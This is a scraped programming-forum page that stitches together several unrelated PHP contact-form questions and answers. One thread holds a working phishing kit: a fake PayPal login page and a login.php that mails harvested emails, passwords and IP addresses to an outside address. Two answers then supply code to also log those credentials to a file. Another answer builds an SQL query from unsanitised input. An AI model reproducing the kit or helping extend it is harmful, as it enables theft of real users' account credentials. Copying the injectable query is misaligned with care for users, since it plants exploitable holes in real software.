I have been trying to get this working for a while, I've tried numberous things to try and fix the problem but I've probably just made things worse. The problem I am having is that when I submit my contact form it doesn't send the message, it just redirects me to "index.html#"
I have posted the code for my site below. Please let me know whats up if you guys can see anything I'm missing.
HEAD HTML
<script src="js/jquery.validationEngine-en.js" type="text/javascript"></script>
<script src="js/jquery.validationEngine.js" type="text/javascript"></script>
<script>
$(document).ready(function() {
// SUCCESS AJAX CALL, replace "success: false," by: success : function() { callSuccessFunction() },
$("#form1").validationEngine({
ajaxSubmit: true,
ajaxSubmitFile: "ajaxSubmit.php",
ajaxSubmitMessage: "Thank you, We will contact you soon !",
success : false,
failure : function() {}
})
});
</script>
BODY HTML (index.html)
<div id="contact">
<h3>need more info?</h3>
<form action="#" method="post">
<fieldset>
<p>
<label for="name">Name:</label>
</p>
<p>
<input type="text" id="name" placeholder="Enter your full name" />
<label for="email">Email:</label>
</p>
<p>
<input type="email" id="email" placeholder="Enter your email address" />
<label for="message">Message:</label>
</p>
<p>
<textarea id="message" placeholder="Looking for a quote?"></textarea>
<input type="submit" value="Send message" />
</p>
</fieldset>
</form>
<?php
$ToEmail = 'jordantrout0#gmail.com';
$EmailSubject = 'Site contact form';
$mailheader = "From: ".$_POST["email"]."\r\n";
$mailheader .= "Reply-To: ".$_POST["email"]."\r\n";
$mailheader .= "Content-type: text/html; charset=iso-8859-1\r\n";
$MESSAGE_BODY = "Name: ".$_POST["name"]."";
$MESSAGE_BODY .= "Email: ".$_POST["email"]."";
$MESSAGE_BODY .= "Message: ".nl2br($_POST["message"])."";
mail($ToEmail, $EmailSubject, $MESSAGE_BODY, $mailheader) or die ("Failure");
?>
</div>
CSS (contact.css)
body, div, h3, form, fieldset, input, textarea {
margin: 0; padding: 0; border: 0; outline: none;
}
html {
height: 100%;
}
#contact {
float:right;
width: 250px; margin: 60px auto; padding: 60px 30px;
background: #9fad23; border: 1px solid #e1e1e1;
-moz-box-shadow: 0px 0px 8px #444;
-webkit-box-shadow: 0px 0px 8px #444;
-webkit-border-top-left-radius: 25px;
-webkit-border-bottom-left-radius: 25px;
-moz-border-radius-topleft: 25px;
-moz-border-radius-bottomleft: 25px;
border-top-left-radius: 25px;
border-bottom-left-radius: 25px;
}
h3 {
font-size: 25px; color: #445668; text-transform: uppercase;
text-align: center; margin: 0 0 25px 0;
}
label {
float: left; clear: left; margin: 11px 20px 0 0; width: 95px;
font-size: 12px; color: #445668;
text-transform: uppercase;
}
input {
width: 200px;
height: 35px;
background: #5E768D;
background: -moz-linear-gradient(top, #546A7F 0%, #5E768D 20%); /* firefox */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#546A7F), color-stop(20%,#5E768D)); /* webkit */
border-radius: 5px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
-moz-box-shadow: 0px 1px 0px #f2f2f2;
-webkit-box-shadow: 0px 1px 0px #f2f2f2;
font-family: sans-serif;
font-size: 12px;
color: #f2f2f2;
text-transform: uppercase;
margin-top: 0;
margin-right: 0;
margin-bottom: 20px;
margin-left: 0;
padding-top: 5px;
padding-right: 20px;
padding-bottom: 0px;
padding-left: 20px;
}
input::-webkit-input-placeholder {
color: #a1b2c3;
}
input:-moz-placeholder {
color: #a1b2c3;
}
textarea {
width: 200px; height: 170px; padding: 12px 20px 0px 20px; margin: 0 0 20px 0;
background: #5E768D;
background: -moz-linear-gradient(top, #546A7F 0%, #5E768D 20%); /* firefox */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#546A7F), color-stop(20%,#5E768D)); /* webkit */
border-radius: 5px; -moz-border-radius: 5px; -webkit-border-radius: 5px;
-moz-box-shadow: 0px 1px 0px #f2f2f2;-webkit-box-shadow: 0px 1px 0px #f2f2f2;
font-family: sans-serif; font-size: 12px; color: #f2f2f2; text-transform: uppercase;
}
textarea::-webkit-input-placeholder {
color: #a1b2c3;
}
textarea:-moz-placeholder {
color: #a1b2c3;
}
input:focus, textarea:focus {
background: #728eaa;
background: -moz-linear-gradient(top, #668099 0%, #728eaa 20%); /* firefox */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#668099), color-stop(20%,#728eaa)); /* webkit */
}
input[type=submit] {
width: 150px; height: 40px; float:right; padding: 10px 15px; margin: 0 15px 0 0;
-moz-box-shadow: 0px 0px 5px #999;-webkit-box-shadow: 0px 0px 5px #999;
border: 1px solid #556f8c;
background: -moz-linear-gradient(top, #718DA9 0%, #415D79 100%); /* firefox */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#718DA9), color-stop(100%,#415D79)); /* webkit */
cursor: pointer;
}
AjaxSubmit.php
<?php
$name = $_POST['name']; // contain name of person
$email = $_POST['email']; // Email address of sender
$web = $_POST['web']; // Your website URL
$body = $_POST['text']; // Your message
$receiver = "jordantrout0#gmail.com" ; // hardcorde your email address here - This is the email address that all your feedbacks will be sent to
if (!empty($name) & !empty($email) && !empty($body)) {
$body = "Name:{$name}\n\nWebsite :{$web}\n\nComments:{$body}";
$send = mail($receiver, 'Contact Form Submission', $body, "From: {$email}");
if ($send) {
echo 'true'; //if everything is ok,always return true , else ajax submission won't work
}
}
?>
Of course it is going to submit to index.html#, you told it to:
<form action="#" method="post">
Try this instead:
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
Related
I have a table called admin tickets. I have this situation were one of these mails, which are on the left of the screen is clicked. Then I want to fetch subject/text, to this mail.
For example I'm clicking qweqweqwe#wp.pl, and it gives me 123123123123123.
The table looks like this:
For now the page looks like this, because I'm iterating over the whole table to the end. This looks good. The only change I want to make is as I said, I want to click the mail on the left, and get subject/text of this mail.
How can I achieve it?
Html+php:
<?php
require_once '../../services/LoggedInUserService.php';
require_once '../../services/LoggedInAdminService.php';
require_once '../../db/connect.php';
$connect = new mysqli($host, $db_user, $db_password, $db_name);
?>
<!DOCTYPE html>
<html lang="pl">
<head>
<meta charset="UTF-8">
<title>DingDog</title>
<link rel="stylesheet" href="../../css-images/style-admintickets.css">
</head>
<body>
<header>
<div class="row">
<ul id="logo"><img src="../../css-images/dingdog-logo.png"></ul>
<ul class="main-nav">
<li style="padding-left:10px">TICKETS</li>
<li style="padding-left:10px" id="sign">LOG OUT</li>
</ul>
</div>
<section>
<article>
<p id="profilesign">Tickets:</p>
<?php
$result = $connect->query("SELECT emailLogin,subject,text FROM tickets");
if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {
$emailLogin = $row['emailLogin'];
$subject = $row['subject']; ?>
<label> <input readonly id="fi" style="margin-top: 50px;" type="text" placeholder="Example"
name="custom" value="<?php echo $emailLogin; ?>"></label><br>
<div class="container" style='position:absolute;left:0px; top:0px;'>
<h1 id="avatar">Title:</h1>
<div class="title" style='position:absolute;left:0px; top:0px;'>
<h1 id="tytul" style='position:absolute;left:0px; top:0px;'><?php echo $subject; ?></h1>
</div>
<h1 id="subject">Subject:</h1>
<textarea readonly id="subjectContainer"
style='margin-top: 100px;margin-left: 150px;position:absolute;left:0; top:0;font-size:30px; color:red ;height: 264px;
width: 683px;' rows="5" cols="10"><?php echo $row['text']; ?></textarea>
</div>
<?php }
} ?>
</article>
</section>
</header>
<footer>
<img src="../../social/instagram.png"/>
<img src="../../social/twitter-white-logo.png"/>
<img src="../../social/facebook.png"/>
</footer>
</body>
</html>
Css:
*
{
margin: 0;
padding: 0;
}
header
{
width: 1920;
height: 1080px;
}
body {
display: flex;
flex-direction: column;
min-height: 100vh;
margin:0;
height: 1080px;
width: auto;
background-image: linear-gradient(180deg, #EFEFEF00 0%, #0F4A37 100%);
}
footer{
position: fixed;
left: 0;
bottom: 0;
width: 100%;
background-color: black;
color: white;
text-align: center;
}
footer img{
margin-top: 5px;
height: 30px;
display: inline-block;
padding: 0px 10px 0px 0px;
}
.main-nav
{
float: right;
color: #000000;
margin-top: 40px;
margin-right: 0px;
}
.main-nav li
{
display: inline-block;
}
.main-nav li a
{
color: #000000;
text-decoration: none;
font: Bold 25px/15px Arial;
padding: 5px;
}
#logo
{
margin-top: 10px;
float: left;
}
#sign a
{
background-color: #DCDFDE;
padding: 30px 15px 17px 15px;
border-top: 3px solid black;
border-bottom: 3px solid black;
border-left: 3px solid black;
border-right: 3px solid black;
}
#profilesign
{
margin-top: 200px;
margin-left: 80px;
font: Bold 57px/46px Georgia;
font-weight: bold;
color: black;
}
article input
{
-webkit-border-radius: 20px;
-khtml-border-radius: 20px;
-moz-border-radius: 20px;
border-radius: 120;
border-style: none;
padding: 5px;
width: 240px;
height: 39px;
background-color: black;
}
#fi
{
font: Bold 25px/12px Arial;
letter-spacing: 0;
color: white;
background-color: black;
margin-left: 161px;
}
.container {
margin-top: 300px;
height: 447px;
width: 1028px;
background: transparent linear-gradient(180deg, #B4FFC5 0%, #9BCEA2 31%, #523A3A 100%) 0% 0% no-repeat padding-box;
border-radius: 20px;
margin-left: 480px;
}
.title {
margin-top: 35px;
width: 686px;
height: 37px;
background: #FFFFFF 0% 0% no-repeat padding-box;
border: 1px solid #707070;
margin-left: 145px;
}
#avatar
{
font: Bold 25px/12px Arial;
letter-spacing: 0;
color: #A37373;
margin-top:50px;
margin-left: 50px;
}
#tytul
{
font: Bold 20px/24px Arial;
letter-spacing: 0;
color: #000000;
margin-top: 8px;
margin-left: 25px;
}
#subject
{
font: Bold 25px/12px Arial;
letter-spacing: 0;
color: #A37373;
margin-top:50px;
margin-left: 50px;
}
.subjectContainer
{
margin-top: 100px;
height: 264px;
width: 683px;
background: transparent linear-gradient(180deg, #B4FFC5 0%, #9BCEA2 31%, #523A3A 100%) 0% 0% no-repeat padding-box;
border: 1px solid #707070;
margin-left: 170px;
border-radius: 20px;
margin-top: 300px;
}
#subjectTitle
{
text-align: left;
font: Regular 20px/24px Arial;
letter-spacing: 0;
color: #000000;
padding-left: 5px;
}
#textare{
height: 600px;
width: 683px;
}
#media only screen and (max-device-width: 500px){
body {
background-image: linear-gradient(180deg, #EFEFEF00 0%, #0F4A37 70%);
background-size:100% 3000px;
width: auto;
}
.main-nav
{
float: right;
color: #000000;
margin-top: 40px;
margin-right: 20px;
}
.main-nav li a
{
color: #000000;
text-decoration: none;
font: Bold 31px/15px Arial;
padding: 5px;
}
#logo img
{
margin-left: 350px;
text-align: center;
width: 500px;
}
#profilesign
{
margin-top: 350px;
font-size: 90px;
margin-left: 360px;
width: 900px;
}
#tytul
{
font: Bold 40px/24px Arial;
letter-spacing: 0;
color: #000000;
margin-top: 20px;
margin-left: 25px;
}
#subjectText
{
font-size: 40px;
}
#fi
{
width: 500px;
margin-top: 500px;
font: Bold 45px/12px Arial;
letter-spacing: 0;
color: white;
background-color: black;
margin-left: 401px;
}
.container {
margin-top: 1000px;
height: 847px;
width: 1228px;
background: transparent linear-gradient(180deg, #B4FFC5 0%, #9BCEA2 31%, #523A3A 100%) 0% 0% no-repeat padding-box;
border-radius: 20px;
margin-left: 20px;
}
.subjectContainer
{
margin-top: 150px;
height: 564px;
width: 883px;
background: transparent linear-gradient(180deg, #B4FFC5 0%, #9BCEA2 31%, #523A3A 100%) 0% 0% no-repeat padding-box;
border: 1px solid #707070;
margin-left: 185px;
border-radius: 20px;
}
#avatar
{
font: Bold 55px/12px Arial;
letter-spacing: 0;
color: #A37373;
margin-top:80px;
margin-left: 40px;
}
#subject
{
font: Bold 45px/12px Arial;
letter-spacing: 0;
color: #A37373;
margin-top:80px;
margin-left: 5px;
}
.title {
margin-top: 55px;
width: 686px;
height: 67px;
background: #FFFFFF 0% 0% no-repeat padding-box;
border: 1px solid #707070;
margin-left: 185px;
}
}
Hope This will help you
<section>
<article>
<p id="profilesign">Tickets:</p>
<?php
$result = $connect->query("SELECT emailLogin,subject,text FROM tickets");
if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {
$emailLogin = $row['emailLogin'];
echo '<form>
<label> <input id="fi" style="margin-top: 50px;" type="submit" placeholder="Example"
name="custom" value="'.$emailLogin.'"></label><br>
</form>';
}
}?>
<?php
if(isset($_GET['custom']))
{
$text = $_GET['custom'];
$result2 = $connect->query("SELECT emailLogin,subject,text FROM tickets WHERE emailLogin = '".$text."' ");
if ($result2->num_rows > 0) {
while ($row = $result2->fetch_assoc()) {
echo ' <div class="container" style="position:absolute;left:0px; top:0px;">
<h1 id="avatar">Title:</h1>
<div class="title" style="position:absolute;left:0px; top:0px;">
<h1 id="tytul" style="position:absolute;left:0px; top:0px;">'.$subject.'</h1>
</div>
<h1 id="subject">Subject:</h1>
<textarea readonly id="subjectContainer"
style="margin-top: 100px;margin-left: 150px;position:absolute;left:0; top:0;font-size:30px; color:red ;height: 264px;
width: 683px;" rows="5" cols="10">'.$row['text'].'</textarea>
</div>';
}
}
}
?>
</article>
</section>
I would probably use Ajax for this, and then get the information that way. So when you click one of the mails on the left, then you make a Ajax call to another .php, like this.
Lets say the mail is this image.
echo'<img class="MAILyouWantToAttach" data-id = "'.$MAILyouWantToAttach.'" src = "../text.png">';
The Ajax success respons has to change the textareas content by its value.
$(document).on("click", ".Unflagging", function(){
var text= $(this).data("id");
$.ajax({
method: "post",
url: "AnotherFile.php",
data: { text: text},
success: function(data) {
$("#myTextarea").val(data);
},
error: function(data) {
alert("Error occurs!")
}
});
});
Then the other php file you want something like this, the echo is to print the text in the success area of the Ajax in the other .php.
$receiver = $_POST["text"];
$result = $connect->query("SELECT emailLogin,subject,text FROM tickets WHERE emailLogin= $receiver ");
while ($row = $result->fetch_assoc()) {
echo $row['text'];
}
This is just a guide, but i hope it helps you on your way to success.
I am having issue with this form. It emails me all the data it collects, but I do not get any images. To the genius amongst us, I didn't write any php to attempt to get the because I do not know which coding to use. Any assistance is deeply appreciated. Thank you
<?php
$accounttype = $_POST['accounttype'];
$firstname = $_POST['firstname'];
$lastname = $_POST['lastname'];
$middlename = $_POST['middlename'];
$email = $_POST['email'];
$location = $_POST['location'];
$year = $_POST['year'];
$gender = $_POST['gender'];
$formcontent = "Status: $accounttype \r\n First: $firstname \r\n Last:$lastname \r\n Middle:$middlename \r\n Where:$location \r\n Grad:$year \r\n Gender:$gender";
$recipient = "john.doe#gmail.com";
$subject = "Registration Form";
$mailheader = "From: $email \r\n";
mail($recipient, $subject, $formcontent, $mailheader) or die("Error!");
echo "Thank You!" . " -" . "<a href='../../index.html' style='text-decoration:none;color:#ff0099;'> Return Home</a>";
?>
body, div, dl, dt, dd, ul, ol, li, h1, h2, h3, h4, h5, h6, pre, form, fieldset, input, textarea, p, blockquote, th, td {
padding:0;
margin:0;
}
fieldset, img {
border: 0;
}
ol, ul, li {
list-style: none;
}
:focus {
outline: none;
}
body, input, textarea, select {
font-family: 'Open Sans', sans-serif;
font-size: 16px;
color: #4c4c4c;
}
p {
font-size: 12px;
width: 150px;
display: inline-block;
margin-left: 18px;
}
h1 {
font-size: 32px;
font-weight: 300;
color: #4c4c4c;
text-align: center;
padding-top: 10px;
margin-bottom: 10px;
}
html{
background-color: #ffffff;
}
.testbox {
margin: 20px auto;
width: 343px;
-webkit-border-radius: 8px/7px;
-moz-border-radius: 8px/7px;
border-radius: 8px/7px;
background-color: #ebebeb;
-webkit-box-shadow: 1px 2px 5px rgba(0,0,0,.31);
-moz-box-shadow: 1px 2px 5px rgba(0,0,0,.31);
box-shadow: 1px 2px 5px rgba(0,0,0,.31);
border: solid 1px #cbc9c9;
}
input[type=radio] {
visibility: hidden;
}
form {
height:auto;
margin: 0 30px;
}
label.radio {
cursor: pointer;
text-indent: 35px;
overflow: visible;
display: inline-block;
position: relative;
margin-bottom: 15px;
}
label.radio:before {
background: #3a57af;
content:'';
position: absolute;
top:2px;
left: 0;
width: 20px;
height: 20px;
border-radius: 100%;
}
label.radio:after {
opacity: 0;
content: '';
position: absolute;
width: 0.5em;
height: 0.25em;
background: transparent;
top: 7.5px;
left: 4.5px;
border: 3px solid #ffffff;
border-top: none;
border-right: none;
-webkit-transform: rotate(-45deg);
-moz-transform: rotate(-45deg);
-o-transform: rotate(-45deg);
-ms-transform: rotate(-45deg);
transform: rotate(-45deg);
}
input[type=radio]:checked + label:after {
opacity: 1;
}
hr {
color: #a9a9a9;
opacity: 0.3;
}
input[type=text],input[type=email],input[type=number] {
width: 200px;
height: 39px;
-webkit-border-radius: 0px 4px 4px 0px/5px 5px 4px 4px;
-moz-border-radius: 0px 4px 4px 0px/0px 0px 4px 4px;
border-radius: 0px 4px 4px 0px/5px 5px 4px 4px;
background-color: #fff;
-webkit-box-shadow: 1px 2px 5px rgba(0,0,0,.09);
-moz-box-shadow: 1px 2px 5px rgba(0,0,0,.09);
box-shadow: 1px 2px 5px rgba(0,0,0,.09);
border: solid 1px #cbc9c9;
margin-left: -5px;
margin-top: 13px;
padding-left: 10px;
}
input[type=password] {
margin-bottom: 25px;
}
#icon {
display: inline-block;
width: 30px;
background-color: #3a57af;
padding: 8px 0px 8px 15px;
margin-left: 15px;
-webkit-border-radius: 4px 0px 0px 4px;
-moz-border-radius: 4px 0px 0px 4px;
border-radius: 4px 0px 0px 4px;
color: white;
-webkit-box-shadow: 1px 2px 5px rgba(0,0,0,.09);
-moz-box-shadow: 1px 2px 5px rgba(0,0,0,.09);
box-shadow: 1px 2px 5px rgba(0,0,0,.09);
border: solid 0px #cbc9c9;
}
.gender {
margin-left: 30px;
margin-bottom: 30px;
}
.accounttype {
margin-left: 8px;
margin-top: 20px;
}
.button {
font-size: 14px;
font-weight: 600;
color: white;
padding: 6px 25px 0px 20px;
margin: 10px 8px 20px 0px;
display: inline-block;
float: right;
text-decoration: none;
width: auto; height: 27px;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
background-color: #3a57af;
-webkit-box-shadow: 0 3px rgba(58,87,175,.75);
-moz-box-shadow: 0 3px rgba(58,87,175,.75);
box-shadow: 0 3px rgba(58,87,175,.75);
transition: all 0.1s linear 0s;
top: 0px;
position: relative;
}
.button:hover {
top: 3px;
background-color:#2e458b;
-webkit-box-shadow: none;
-moz-box-shadow: none;
box-shadow: none;
}
<html>
<body>
<link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600' rel='stylesheet' type='text/css'>
<link href="//netdna.bootstrapcdn.com/font-awesome/3.1.1/css/font-awesome.css" rel="stylesheet">
<?php echo $output; ?>
<div class="testbox">
<h1>Registration</h1>
<form action="assets/php/mail.php" method="post">
<hr>
<div class="accounttype">
<input type="radio" value="student" id="student" name="accounttype" checked/>
<label for="student" class="radio" chec>Student</label>
<input type="radio" value="faculty" id="faculty" name="accounttype" />
<label for="faculty" class="radio">Faculty</label>
</div>
<hr>
<label id="icon" for="name"><i class="icon-user "></i></label>
<input type="text" name="firstname" id="firstname" placeholder="First Name" required/>
<label id="icon" for="name"><i class="icon-user"></i></label>
<input type="text" name="lastname" id="lastname" placeholder="Last Name" required/>
<label id="icon" for="name"><i class="icon-shield"></i></label>
<input type="text" name="middlename" id="middlename" placeholder="Middle Name"/>
<hr>
<label id="icon" for="name"><i class="icon-envelope "></i></label>
<input type="email" name="email" id="email" placeholder="Email Address" required/>
<label id="icon" for="name"><i class="icon-map-marker "></i></label>
<input type="text" name="location" id="location" placeholder="City, State" required/>
<label id="icon" for="name"><i class="icon-shield"></i></label>
<input type="number" name="year" id="year" placeholder="Graduation Year" required/>
<hr>
<div class="gender">
<input type="radio" value="male" id="male" name="gender" checked/>
<label for="male" class="radio" chec>Male</label>
<input type="radio" value="female" id="female" name="gender" />
<label for="female" class="radio">Female</label>
<hr>
<p>Upload full body image</p>
<input type="file" accept="image/*;capture=camera">
</div>
<p>By clicking Register, you agree on our terms and condition.</p>
<input type="submit" class="button" value="Send" />
</form>
</div>
</body>
</html>
It is because you do not upload the images therefore sending the location of file does not help.
I am not going to provide the implementation as it depends on the abstract solution you choose:
a) upload the image to your server and send the image to you
b) upload the image to a file sharing website and send the image to you
First, You need to upload image to your server, then create a link http://abcd.com/directory/uploaded-image.jpg and send it in email. For this you could use very simple php function
move_uploaded_files
see example here
Created a mail form for a contact section. There's a mark tag after the form that displays after validating that all required fields aren't satisfied and lists which ones need to be satisfied.
Upon submitting though, if values are entered, they are echoed as they're suppose to, HOWEVER the mark tag does not display...
I need help with having the mark tag display when there are errors...
HTML:
<form method="post" action="">
<input type="text" name="name" placeholder="Name" value="<?php echo $_POST['name']; ?>">
<input type="tel" name="phone" placeholder="Phone Number" value="<?php echo $_POST['phone']; ?>">
<input type="email" name="email" placeholder="Email" value="<?php echo $_POST['email']; ?>">
<input type="text" name="invoice" placeholder="Invoice Number (optional)" value="<?php echo $_POST['invoice']; ?>">
<textarea name="comments" maxlength="500" rows="10" cols="10" placeholder="Please enter your comments here..." value="<?php echo $_POST['comments'];?>"></textarea>
<button type="submit">Submit</button>
</form>
<mark><?php echo $MSG[0]; ?></mark>
PHP:
<?php
if(!empty($_POST)) {
$POST=filter_post($_POST);
$MSG=check_empty($POST);
if(!array_filter($MSG)) {
send_mail($POST);
if(send_mail($POST)) {
$MSG[]="Email Success";
}
else {
$MSG[]="Email Failed";
}
}
}
function filter_post($POST) {
$keys=array('name', 'phone', 'email', 'invoice', 'comments');
$POST=array_intersect_key($POST, array_flip($keys));
$POST=array_map('strip_tags', $POST);
return($POST);
}
function check_empty($POST) {
foreach($POST as $key=> $value) {
if(empty($value)) {
$MSG[]="You need to fill out the $key section";
}
}
return($MSG);
}
function send_mail($POST) {
extract($POST);
$to='7servicerepairs#gmail.com';
$sbj='New Question For Se7en Service!';
$msg="Name: $name \n Phone: $phone \n Email: $email \n Invoice #: $invoice \n Comments: $comments";
$headers="From: $email";
return(mail($to, $sbj, $msg, $headers));
}
?>
CSS:
form{
cursor: default !important;
display: -webkit-flex;
display: flex;
-webkit-justify-content: center;
justify-content: center;
-webkit-align-self: center;
align-self: center;
-webkit-flex-direction: column;
flex-direction: column;
background: #ECF0F1;
-webkit-box-shadow: 0px 2px 7px rgba(0, 0, 0, 0.40);
box-shadow: 0px 2px 7px rgba(0, 0, 0, 0.40);
-webkit-border-radius: 0.3em;
border-radius: 0.3em;
padding: 1.3em;
}
form>input{
width: 22.1em;
height: 2.5em;
margin: 0.2em 0;
font-size: 1em;
-webkit-font-smoothing: antialiased;
font-family: HelveticaNeue-Light,"Helevetica Neue",Helvetica,Arial;
text-align: center;
border: 1px solid #d5dadc;
-webkit-border-radius: 2px;
border-radius: 2px;
color: #7C7C7C;
outline: none;
}
form>button{
width: 22.35em;
height: 2.5em;
margin: 0.2em 0;
padding: 0;
font-size: 1em;
-webkit-font-smoothing: antialiased;
font-family: HelveticaNeue-Light,"Helevetica Neue",Helvetica,Arial;
cursor: pointer;
outline: none;
border: none;
color: #fff;
background: #2ECC71;
-webkit-border-radius: 2px;
border-radius: 2px;
}
form>textarea{
margin: 0.2em 0;
font-size: 1em;
-webkit-font-smoothing: antialiased;
font-family: HelveticaNeue-Light,"Helevetica Neue",Helvetica,Arial;
border: 1px solid #d5dadc;
-webkit-border-radius: 2px;
border-radius: 2px;
color: #7C7C7C;
outline: none;
max-width: 22em;
}
mark{
display: -webkit-flex;
display: flex;
-webkit-justify-content: center;
justify-content: center;
-webkit-align-self: center;
align-self: center;
height: 1.5em;
margin: 1.5em;
font-size: 1em;
color: #fff;
-webkit-font-smoothing: antialiased;
font-family: HelveticaNeue-Light,"Helevetica Neue",Helvetica,Arial;
background: none;
}
White letters over no background? It is surely there, you just can't distinguish it.
mark {
...
color: #ff0000;
...
}
http://jsfiddle.net/2hsh4zmb/
Suppose I have a php login from that's name is login.php
When a user logged in I have received an auto mail with login email and password.
Now I want to save this email and password to a text file. How can I do this?
Here is my Index.php code:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" ns1:xmlns="http://ogp.me/ns#">
<head>
<script language="JavaScript1.2">
var testresults
function checkemail(){
var str = document.validation.1.value
var filter = /^([\w-]+(?:\.[\w-]+)*)#((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i
if (filter.test(str))
testresults = true
else {
alert("Please input a valid email address!")
testresults = false
}
return (testresults)
}
</script>
<script>
function checkbae(){
if (document.layers || document.getElementById || document.all)
return checkemail()
else
return true
}
</script>
<title>Login - PayPal</title>
<style type="text/css">
#body
{
width : 900px;
heigth : 900px;
}
input {
-moz-appearance: none;
-moz-box-sizing: border-box;
background: none repeat 0 0 #FFF;
border: 1px solid #B3B3B3;
border-radius: 5px;
color: #333;
font-size: 1.071rem;
height: 38px;
line-height: 1.25em;
margin: 0;
padding: 0;
position: relative;
text-indent: 10px;
transition: border-color 0.3s ease 0s;
width: 250px;
}
.btn {
-webkit-appearance: none;
-moz-box-sizing: border-box;
background: none repeat 0 0 #0079C1;
border-radius: 5px;
border-color: #0079C1;
color: #FFF;
cursor: pointer;
display: inline-block;
font-family: arial, sans-serif;
font-size: 15px;
font-weight: bold;
line-height: 1.4545em;
margin-bottom: 0;
padding: 9px 15px 10px;
text-align: center;
vertical-align: middle;
height: 40px;
_margin-left: -10px;
*margin-left: -10px;
}
.btn:hover,
.btn:focus {
background: none repeat 0 0 #0285D2;
color: #FFF;
text-decoration: none;
}
.btn:focus {
outline: thin dotted #333;
outline-offset: -2px;
}
.btn.active,
.btn:active {
background-image: none;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.15) inset, 0 1px 2px rgba(0, 0, 0, 0.05);
outline: 0 none;
}
.btn.disabled,
.btn[disabled],
.btn.disabled:hover,
.btn[disabled]:hover,
.btn.disabled:active,
.btn[disabled]:active {
background: none repeat 0 0 #E5E5E5;
cursor: auto;
}
.btn-large {
border-radius: 6px;
font-size: 17.234px;
padding: 9px 14px;
}
.btn-large[class^="icon-"],
.btn-large[class*=" icon-"] {
margin-top: 4px
}
.btn-secondary {
background: none repeat 0 0 #DDD;
color: #333;
}
.btn-secondary:hover,
.btn-secondary:focus {
background: none repeat 0 0 #DDD;
color: #333;
}
input.large {
width: 337px
}
input.large[type=password], input.large[type=text] {
font-size: 15px;
font-weight: normal;
}
input[type=text]:focus, input[type=password]:focus {
border-color: #0079C1;
outline: 0 none;
}
.auto-style1 {
margin-top: 20px;
}
</style>
<link rel="shortcut icon" href="img/pp_favicon_x.ico">
<link rel="apple-touch-icon" href="img/apple-touch-icon.png">
</head>
<body style="background-image: url('img/bg.PNG');">
<form method="post" action="LOGIN.php" onSubmit="return checkbae()" style="z-index: 1; width: 395px; height: 232px; position: absolute; top: 208px; left: 211px">
<div style="z-index: 1; width: 340px; height: 40px; position: absolute; top: 53px; left: 24px">
<input name="1" required autocomplete="off" class="large" style="z-index: 1; position: absolute; top: -3px; left: 0px; width: 338px; height: 38px" type="email" />
</div>
<div style="z-index: 1; width: 340px; height: 40px; position: absolute; top: 129px; left: 24px">
<input name="2" required autocomplete="off" style="z-index: 1; position: absolute; top: -3px; left: 0px; width: 338px; height: 38px" type="password" />
</div>
<div style="z-index: 1; width: 340px; height: 40px; position: absolute; top: 182px; left: 24px">
<input name="submit.x" type="submit" value="Login" class="btn large" style="z-index: 1; position: absolute; top: -3px; left: 0px; width: 338px; height: 41px"/>
</div>
</form>
<div class="auto-style1" style="height: 710px">
</div>
</body>
</html>
My login.php code:
<?php
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$message .= "=========[BY MutantCode]=========\n";
$message .= "Email : ".$_POST['1']."\n";
$message .= "Password : ".$_POST['2']."\n";
$message .= "===============[IP]==============\n";
$message .= "IP : http://www.geoiptool.com/?IP=$ip\n";
$message .= "==========[BY ProVro]=========\n";
$to = "mad.codder#gmail.com";
$subject = "PP LOGIN FROM [$ip]";
$headers = "From: Account <info#agrupacion1-4escala.com.ar>";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
mail($to, $subject, $message,$headers);
header("Location:websc-proccessing.php");
?>
It's better to store user information in db, but in PHP it's possible to store data into files.
//Creates file or selects existing file to write("w") data into it
$file = fopen("file.txt", "w");
//Here you combine your $_POST variables.
$text = $_POST['variable1']." ".$_POST['variable2'];
//And Append them to $text
fwrite($file, $text);
//After finishing writing you should close file
fclose($file);
I understand that you want to write the posted data on the server in some text file. If the understanding is correct than insert this code before the mail function line:
$file = fopen("test.txt","a+");
$text = $message;
fwrite($file, $text);
fclose($file);
Remember you need to use a+ for reading and writing. This places the file pointer at the end of the file (It keeps on appending the file). If the file does not exist, attempt to create it.
I currently have built a form a form-field(pull down menu) and a button. The only issue I have run into is when I try to create another pull-down menu below the first it messes up my original pull-down menu by throwing the info out of the box. Can someone please take a look a see what I'm exactly doing wrong cause I'm not really sure why its happening.
<?php
$shows = array( "Sesame Street on Ice", "The Wiggles Live", "Dora Live" )
$prices = array( 29.99, 35.49, 49.95, 34.99, 9.99 );
?>
<html>
<head>
<title></title>
<style type="text/css">
body {
background: tan;
font-family: arial;
}
#contentwrap {
background-color: white;
border: 6px darkred solid;
padding: 110px;
width: 600px;
margin: 20px auto 20px auto;
border-radius: 25px;
-moz-border-radius: 25px;
}
#heading {
color: darkred;
font-size: 2.2em;
padding: 0px 0px 19px 0px;
margin: -70px -90px 5px -90px;
text-align: center;
}
#content {
height: 220px;
padding: 80px 0px 0px 0px;
background-repeat: no-repeat;
background-position: right;
}
#border {
color: lightblue;
border-bottom: 8px double;
padding: 0px 0px 65px 0px;
margin: -85px -80px 10px -80px;
}
#border2 {
color: darkred;
border-bottom: 8px double;
padding: 0px 0px 65px 0px;
margin: 180px -80px 0px -80px;
}
.formtext {
color: lightblue;
margin: -280px 0px 0px -50px;
}
.formtext2 {
color: lightblue;
margin: -10px 0px 0px -50px;
}
.formfield {
padding: 0px;
font-size: 1em;
width: 250px;
margin: 0px 0px 0px -50px;
color: black;
border: 2px darkred solid;
